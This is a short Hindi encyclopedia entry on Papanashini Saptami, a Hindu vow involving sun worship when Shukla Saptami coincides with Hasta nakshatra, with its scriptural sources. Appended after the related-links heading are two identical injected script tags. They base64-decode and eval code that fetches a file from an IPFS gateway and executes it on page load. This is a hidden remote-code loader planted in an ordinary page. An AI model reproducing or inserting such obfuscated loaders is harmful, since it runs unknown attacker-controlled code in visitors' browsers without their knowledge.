पापनाशिनी सप्तमी

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
  • भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
  • जब शुक्ल पक्ष सप्तमी हस्त नक्षत्र में पड़ती है तो वह अति पवित्र सप्तमी कहलाती है।
  • उस दिन सूर्य पूजा की जाती है।
  • कर्ता सभी पापों से मुक्त हो जाता है और वह देवलोक को जाता है।[1]
  • यह योग श्रावण कृष्ण पक्ष में पड़ता है, ऐसा हेमाद्रि व्रतखण्ड का कथन है।

 

टीका टिप्पणी और संदर्भ

  1. कृत्यकल्पतरु (व्रत॰ 145-146); हेमाद्रि (व्रतखण्ड 1, 740-741, भविष्य पुराण, ब्राह्मपर्व 016|4-14)।

अन्य संबंधित लिंक

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>